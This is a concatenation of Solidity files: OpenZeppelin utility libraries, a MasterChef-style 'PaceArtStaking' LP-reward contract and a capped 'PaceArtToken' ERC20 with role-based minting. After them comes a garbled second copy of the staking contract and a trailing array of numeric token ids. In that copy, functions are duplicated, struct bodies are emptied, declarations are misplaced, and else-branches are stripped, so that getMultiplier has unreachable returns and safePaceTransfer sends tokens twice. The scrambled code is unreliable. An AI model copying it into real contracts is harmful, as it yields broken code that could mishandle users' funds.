* If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // SPDX-License-Identifier: MIT pragma solidity 0.7.5; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "@openzeppelin/contracts/utils/EnumerableSet.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "../token/PaceArtToken.sol"; // MasterChef is the master of Sushi. He can make Sushi and he is a fair guy. // // Note that it's ownable and the owner wields tremendous power. The ownership // will be transferred to a governance smart contract once SUSHI is sufficiently // distributed and the community can show to govern itself. // // Have fun reading it. Hopefully it's bug-free. God bless. contract PaceArtStaking is Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; // Info of each user. struct UserInfo { uint256 amount; // How many LP tokens the user has provided. uint256 rewardDebt; // Reward debt. See explanation below. // // We do some fancy math here. Basically, any point in time, the amount of SUSHIs // entitled to a user but is pending to be distributed is: // // pending reward = (user.amount * pool.accSushiPerShare) - user.rewardDebt // // Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens: // 1. The pool's `accSushiPerShare` (and `lastRewardBlock`) gets updated. // 2. User receives the pending reward sent to his/her address. // 3. User's `amount` gets updated. // 4. User's `rewardDebt` gets updated. } // Info of each pool. struct PoolInfo { IERC20 lpToken; // Address of LP token contract. uint256 allocPoint; // How many allocation points assigned to this pool. SUSHIs to distribute per block. uint256 lastRewardBlock; // Last block number that SUSHIs distribution occurs. uint256 accPacePerShare; // Accumulated SUSHIs per share, times 1e12. See below. } // The PACE TOKEN! PaceArtToken public pace; // Block number when bonus SUSHI period ends. uint256 public bonusEndBlock; // SUSHI tokens created per block. uint256 public pacePerBlock; // Bonus muliplier for early sushi makers. uint256 public constant BONUS_MULTIPLIER = 10; // Info of each pool. PoolInfo[] public poolInfo; // Info of each user that stakes LP tokens. mapping(uint256 => mapping(address => UserInfo)) public userInfo; // Total allocation poitns. Must be the sum of all allocation points in all pools. uint256 public totalAllocPoint = 0; // The block number when PACE mining starts. uint256 public startBlock; event Deposit(address indexed user, uint256 indexed pid, uint256 amount); event Withdraw(address indexed user, uint256 indexed pid, uint256 amount); event EmergencyWithdraw( address indexed user, uint256 indexed pid, uint256 amount ); constructor( PaceArtToken _pace, uint256 _pacePerBlock, uint256 _startBlock, uint256 _bonusEndBlock ) public { pace = _pace; pacePerBlock = _pacePerBlock; bonusEndBlock = _bonusEndBlock; startBlock = _startBlock; } function poolLength() external view returns (uint256) { return poolInfo.length; } function updateStartBlock(uint256 _startBlock) external onlyOwner { require(_startBlock != startBlock, "PaceArtStaking::Start block is exactly the same!"); startBlock = _startBlock; } function updatePacePerBlock(uint256 _pacePerBlock) external onlyOwner { require(pacePerBlock != _pacePerBlock, "PaceArtStaking::Pace Per block is exactly the same!"); pacePerBlock = _pacePerBlock; } // Add a new lp to the pool. Can only be called by the owner. // XXX DO NOT add the same LP token more than once. Rewards will be messed up if you do. function add( uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate ) public onlyOwner { if (_withUpdate) { massUpdatePools(); } uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock; totalAllocPoint = totalAllocPoint.add(_allocPoint); poolInfo.push( PoolInfo({ lpToken: _lpToken, allocPoint: _allocPoint, lastRewardBlock: lastRewardBlock, accPacePerShare: 0 }) ); } // Update the given pool's SUSHI allocation point. Can only be called by the owner. function set( uint256 _pid, uint256 _allocPoint, bool _withUpdate ) public onlyOwner { if (_withUpdate) { massUpdatePools(); } totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add( _allocPoint ); poolInfo[_pid].allocPoint = _allocPoint; } // Return reward multiplier over the given _from to _to block. function getMultiplier(uint256 _from, uint256 _to) public view returns (uint256) { if (_to <= bonusEndBlock) { return _to.sub(_from).mul(BONUS_MULTIPLIER); } else if (_from >= bonusEndBlock) { return _to.sub(_from); } else { return bonusEndBlock.sub(_from).mul(BONUS_MULTIPLIER).add( _to.sub(bonusEndBlock) ); } } // View function to see pending SUSHIs on frontend. function pendingPace(uint256 _pid, address _user) external view returns (uint256) { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; uint256 accPacePerShare = pool.accPacePerShare; uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (block.number > pool.lastRewardBlock && lpSupply != 0) { uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); uint256 paceReward = multiplier.mul(pacePerBlock).mul(pool.allocPoint).div( totalAllocPoint ); accPacePerShare = accPacePerShare.add( paceReward.mul(1e12).div(lpSupply) ); } return user.amount.mul(accPacePerShare).div(1e12).sub(user.rewardDebt); } // Update reward vairables for all pools. Be careful of gas spending! function massUpdatePools() public { uint256 length = poolInfo.length; for (uint256 pid = 0; pid < length; ++pid) { updatePool(pid); } } // Update reward variables of the given pool to be up-to-date. function updatePool(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; if (block.number <= pool.lastRewardBlock) { return; } uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (lpSupply == 0) { pool.lastRewardBlock = block.number; return; } uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); uint256 paceReward = multiplier.mul(pacePerBlock).mul(pool.allocPoint).div( totalAllocPoint ); // pace.mint(devaddr, paceReward.div(10)); pace.mint(address(this), paceReward); pool.accPacePerShare = pool.accPacePerShare.add( paceReward.mul(1e12).div(lpSupply) ); pool.lastRewardBlock = block.number; } // Deposit LP tokens to MasterChef for SUSHI allocation. function deposit(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; updatePool(_pid); if (user.amount > 0) { uint256 pending = user.amount.mul(pool.accPacePerShare).div(1e12).sub( user.rewardDebt ); safePaceTransfer(msg.sender, pending); } pool.lpToken.safeTransferFrom( address(msg.sender), address(this), _amount ); user.amount = user.amount.add(_amount); user.rewardDebt = user.amount.mul(pool.accPacePerShare).div(1e12); emit Deposit(msg.sender, _pid, _amount); } // Withdraw LP tokens from MasterChef. function withdraw(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; require(user.amount >= _amount, "withdraw: not good"); updatePool(_pid); uint256 pending = user.amount.mul(pool.accPacePerShare).div(1e12).sub( user.rewardDebt ); safePaceTransfer(msg.sender, pending); user.amount = user.amount.sub(_amount); user.rewardDebt = user.amount.mul(pool.accPacePerShare).div(1e12); pool.lpToken.safeTransfer(address(msg.sender), _amount); emit Withdraw(msg.sender, _pid, _amount); } // Withdraw without caring about rewards. EMERGENCY ONLY. function emergencyWithdraw(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; pool.lpToken.safeTransfer(address(msg.sender), user.amount); emit EmergencyWithdraw(msg.sender, _pid, user.amount); user.amount = 0; user.rewardDebt = 0; } // Safe sushi transfer function, just in case if rounding error causes pool to not have enough SUSHIs. function safePaceTransfer(address _to, uint256 _amount) internal { uint256 paceBal = pace.balanceOf(address(this)); if (_amount > paceBal) { pace.transfer(_to, paceBal); } else { pace.transfer(_to, _amount); } } // Update dev address by the previous dev. // function dev(address _devaddr) public { // require(msg.sender == devaddr, "dev: wut?"); // devaddr = _devaddr; // } } // SPDX-License-Identifier: MIT pragma solidity 0.7.5; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/access/AccessControl.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; // WARNING: There is a known vuln contained within this contract related to vote delegation, // it's NOT recommmended to use this in production. // SushiToken with Governance. contract PaceArtToken is ERC20, AccessControl { using SafeMath for uint; bytes32 public constant MINTER_ROLE = bytes32("MINTER_ROLE"); bytes32 public constant BURNER_ROLE = bytes32("BURNER_ROLE"); uint256 private _cap = 1e26; uint public constant MARKETPLACE_INDEX = 0; uint public constant PACE_TEAM_INDEX = 1; uint public constant PUBLIC_SALE_INDEX = 2; uint public constant MARKETING_INDEX = 3; uint public constant SEED_INVESTOR_INDEX = 4; uint public constant COMMUNITY_INDEX = 5; // 100 M total supply uint256[7] private _pools_amount = [ 30000000 * (10**18), // MARKETPLACE REWARD. 25000000 * (10**18), // PACE TEAM. 13000000 * (10**18), // PUBLIC SALE. 10000000 * (10**18), // MARKETING AND CREATORS. 7000000 * (10**18), // SEED INVESTORS. 5000000 * (10**18), // COMMUNITY AIRDROP. 10000000 * (10 ** 18) // LIQUIDITY MINING. ]; mapping(uint => bool) public minted_pools; constructor( address MARKETPLACE, address PACE_TEAM, address PUBLIC_SALE, address MARKETING_CREATORS, address SEED_INVESTORS, address COMMUNITY ) ERC20("Pace Art", "PACE") { _setupRole(DEFAULT_ADMIN_ROLE, msg.sender); _mint(MARKETPLACE, _pools_amount[MARKETPLACE_INDEX]); minted_pools[MARKETPLACE_INDEX] = true; _mint(PACE_TEAM, _pools_amount[PACE_TEAM_INDEX]); minted_pools[PACE_TEAM_INDEX] = true; _mint(PUBLIC_SALE, _pools_amount[PUBLIC_SALE_INDEX]); minted_pools[PUBLIC_SALE_INDEX] = true; _mint(MARKETING_CREATORS, _pools_amount[MARKETING_INDEX]); minted_pools[MARKETING_INDEX] = true; _mint(SEED_INVESTORS, _pools_amount[SEED_INVESTOR_INDEX]); minted_pools[SEED_INVESTOR_INDEX] = true; _mint(COMMUNITY, _pools_amount[COMMUNITY_INDEX]); minted_pools[COMMUNITY_INDEX] = true; } modifier onlyRole(bytes32 role) { require(hasRole(role, msg.sender), "PaceArtToken:You not be able to do that"); _; } function mint(address _to, uint256 _amount) public onlyRole(MINTER_ROLE) { require(totalSupply().add(_amount) <= cap(), "PaceArtToken::Exceeds max cap!"); _mint(_to, _amount); } function burn(address _account, uint256 _amount) public onlyRole(BURNER_ROLE) { _burn(_account, _amount); } /** * @dev Returns the cap on the token's total supply. */ function cap() public view virtual returns (uint256) { return _cap; } function grantMinter(address _minter) public onlyRole(DEFAULT_ADMIN_ROLE) { grantRole(MINTER_ROLE, _minter); } function grantBurner(address _burner) public onlyRole(DEFAULT_ADMIN_ROLE) { grantRole(BURNER_ROLE, _burner); } }
MasterChef is the master of Sushi. He can make Sushi and he is a fair guy. Note that it's ownable and the owner wields tremendous power. The ownership will be transferred to a governance smart contract once SUSHI is sufficiently distributed and the community can show to govern itself. Have fun reading it. Hopefully it's bug-free. God bless. Info of each user.
contract PaceArtStaking is Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; pragma solidity 0.7.5; struct UserInfo { } struct PoolInfo { } event Deposit(address indexed user, uint256 indexed pid, uint256 amount); event Withdraw(address indexed user, uint256 indexed pid, uint256 amount); event EmergencyWithdraw( address indexed user, uint256 indexed pid, uint256 amount ); constructor( PaceArtToken _pace, uint256 _pacePerBlock, uint256 _startBlock, uint256 _bonusEndBlock PaceArtToken public pace; uint256 public bonusEndBlock; uint256 public pacePerBlock; uint256 public constant BONUS_MULTIPLIER = 10; PoolInfo[] public poolInfo; mapping(uint256 => mapping(address => UserInfo)) public userInfo; uint256 public totalAllocPoint = 0; uint256 public startBlock; ) public { pace = _pace; pacePerBlock = _pacePerBlock; bonusEndBlock = _bonusEndBlock; startBlock = _startBlock; } function poolLength() external view returns (uint256) { return poolInfo.length; } function updateStartBlock(uint256 _startBlock) external onlyOwner { require(_startBlock != startBlock, "PaceArtStaking::Start block is exactly the same!"); startBlock = _startBlock; } function updatePacePerBlock(uint256 _pacePerBlock) external onlyOwner { require(pacePerBlock != _pacePerBlock, "PaceArtStaking::Pace Per block is exactly the same!"); pacePerBlock = _pacePerBlock; } function add( uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate ) public onlyOwner { if (_withUpdate) { massUpdatePools(); } uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock; totalAllocPoint = totalAllocPoint.add(_allocPoint); poolInfo.push( PoolInfo({ lpToken: _lpToken, allocPoint: _allocPoint, lastRewardBlock: lastRewardBlock, accPacePerShare: 0 }) ); } function add( uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate ) public onlyOwner { if (_withUpdate) { massUpdatePools(); } uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock; totalAllocPoint = totalAllocPoint.add(_allocPoint); poolInfo.push( PoolInfo({ lpToken: _lpToken, allocPoint: _allocPoint, lastRewardBlock: lastRewardBlock, accPacePerShare: 0 }) ); } function add( uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate ) public onlyOwner { if (_withUpdate) { massUpdatePools(); } uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock; totalAllocPoint = totalAllocPoint.add(_allocPoint); poolInfo.push( PoolInfo({ lpToken: _lpToken, allocPoint: _allocPoint, lastRewardBlock: lastRewardBlock, accPacePerShare: 0 }) ); } function set( uint256 _pid, uint256 _allocPoint, bool _withUpdate ) public onlyOwner { if (_withUpdate) { massUpdatePools(); } totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add( _allocPoint ); poolInfo[_pid].allocPoint = _allocPoint; } function set( uint256 _pid, uint256 _allocPoint, bool _withUpdate ) public onlyOwner { if (_withUpdate) { massUpdatePools(); } totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add( _allocPoint ); poolInfo[_pid].allocPoint = _allocPoint; } function getMultiplier(uint256 _from, uint256 _to) public view returns (uint256) { if (_to <= bonusEndBlock) { return _to.sub(_from).mul(BONUS_MULTIPLIER); return _to.sub(_from); return bonusEndBlock.sub(_from).mul(BONUS_MULTIPLIER).add( _to.sub(bonusEndBlock) ); } } function getMultiplier(uint256 _from, uint256 _to) public view returns (uint256) { if (_to <= bonusEndBlock) { return _to.sub(_from).mul(BONUS_MULTIPLIER); return _to.sub(_from); return bonusEndBlock.sub(_from).mul(BONUS_MULTIPLIER).add( _to.sub(bonusEndBlock) ); } } } else if (_from >= bonusEndBlock) { } else { function pendingPace(uint256 _pid, address _user) external view returns (uint256) { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; uint256 accPacePerShare = pool.accPacePerShare; uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (block.number > pool.lastRewardBlock && lpSupply != 0) { uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); uint256 paceReward = multiplier.mul(pacePerBlock).mul(pool.allocPoint).div( totalAllocPoint ); accPacePerShare = accPacePerShare.add( paceReward.mul(1e12).div(lpSupply) ); } return user.amount.mul(accPacePerShare).div(1e12).sub(user.rewardDebt); } function pendingPace(uint256 _pid, address _user) external view returns (uint256) { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; uint256 accPacePerShare = pool.accPacePerShare; uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (block.number > pool.lastRewardBlock && lpSupply != 0) { uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); uint256 paceReward = multiplier.mul(pacePerBlock).mul(pool.allocPoint).div( totalAllocPoint ); accPacePerShare = accPacePerShare.add( paceReward.mul(1e12).div(lpSupply) ); } return user.amount.mul(accPacePerShare).div(1e12).sub(user.rewardDebt); } function massUpdatePools() public { uint256 length = poolInfo.length; for (uint256 pid = 0; pid < length; ++pid) { updatePool(pid); } } function massUpdatePools() public { uint256 length = poolInfo.length; for (uint256 pid = 0; pid < length; ++pid) { updatePool(pid); } } function updatePool(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; if (block.number <= pool.lastRewardBlock) { return; } uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (lpSupply == 0) { pool.lastRewardBlock = block.number; return; } uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); uint256 paceReward = multiplier.mul(pacePerBlock).mul(pool.allocPoint).div( totalAllocPoint ); pool.accPacePerShare = pool.accPacePerShare.add( paceReward.mul(1e12).div(lpSupply) ); pool.lastRewardBlock = block.number; } function updatePool(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; if (block.number <= pool.lastRewardBlock) { return; } uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (lpSupply == 0) { pool.lastRewardBlock = block.number; return; } uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); uint256 paceReward = multiplier.mul(pacePerBlock).mul(pool.allocPoint).div( totalAllocPoint ); pool.accPacePerShare = pool.accPacePerShare.add( paceReward.mul(1e12).div(lpSupply) ); pool.lastRewardBlock = block.number; } function updatePool(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; if (block.number <= pool.lastRewardBlock) { return; } uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (lpSupply == 0) { pool.lastRewardBlock = block.number; return; } uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); uint256 paceReward = multiplier.mul(pacePerBlock).mul(pool.allocPoint).div( totalAllocPoint ); pool.accPacePerShare = pool.accPacePerShare.add( paceReward.mul(1e12).div(lpSupply) ); pool.lastRewardBlock = block.number; } pace.mint(address(this), paceReward); function deposit(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; updatePool(_pid); if (user.amount > 0) { uint256 pending = user.amount.mul(pool.accPacePerShare).div(1e12).sub( user.rewardDebt ); safePaceTransfer(msg.sender, pending); } pool.lpToken.safeTransferFrom( address(msg.sender), address(this), _amount ); user.amount = user.amount.add(_amount); user.rewardDebt = user.amount.mul(pool.accPacePerShare).div(1e12); emit Deposit(msg.sender, _pid, _amount); } function deposit(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; updatePool(_pid); if (user.amount > 0) { uint256 pending = user.amount.mul(pool.accPacePerShare).div(1e12).sub( user.rewardDebt ); safePaceTransfer(msg.sender, pending); } pool.lpToken.safeTransferFrom( address(msg.sender), address(this), _amount ); user.amount = user.amount.add(_amount); user.rewardDebt = user.amount.mul(pool.accPacePerShare).div(1e12); emit Deposit(msg.sender, _pid, _amount); } function withdraw(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; require(user.amount >= _amount, "withdraw: not good"); updatePool(_pid); uint256 pending = user.amount.mul(pool.accPacePerShare).div(1e12).sub( user.rewardDebt ); safePaceTransfer(msg.sender, pending); user.amount = user.amount.sub(_amount); user.rewardDebt = user.amount.mul(pool.accPacePerShare).div(1e12); pool.lpToken.safeTransfer(address(msg.sender), _amount); emit Withdraw(msg.sender, _pid, _amount); } function emergencyWithdraw(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; pool.lpToken.safeTransfer(address(msg.sender), user.amount); emit EmergencyWithdraw(msg.sender, _pid, user.amount); user.amount = 0; user.rewardDebt = 0; } function safePaceTransfer(address _to, uint256 _amount) internal { uint256 paceBal = pace.balanceOf(address(this)); if (_amount > paceBal) { pace.transfer(_to, paceBal); pace.transfer(_to, _amount); } } function safePaceTransfer(address _to, uint256 _amount) internal { uint256 paceBal = pace.balanceOf(address(this)); if (_amount > paceBal) { pace.transfer(_to, paceBal); pace.transfer(_to, _amount); } } } else { }
11,663,769
[ 1, 7786, 39, 580, 74, 353, 326, 4171, 434, 348, 1218, 77, 18, 8264, 848, 1221, 348, 1218, 77, 471, 3904, 353, 279, 284, 1826, 3058, 93, 18, 3609, 716, 518, 1807, 4953, 429, 471, 326, 3410, 341, 491, 87, 268, 2764, 409, 1481, 7212, 18, 1021, 23178, 903, 506, 906, 4193, 358, 279, 314, 1643, 82, 1359, 13706, 6835, 3647, 11726, 2664, 45, 353, 18662, 715, 16859, 471, 326, 19833, 848, 2405, 358, 314, 1643, 82, 6174, 18, 21940, 9831, 6453, 518, 18, 670, 1306, 4095, 518, 1807, 7934, 17, 9156, 18, 611, 369, 324, 2656, 18, 3807, 434, 1517, 729, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
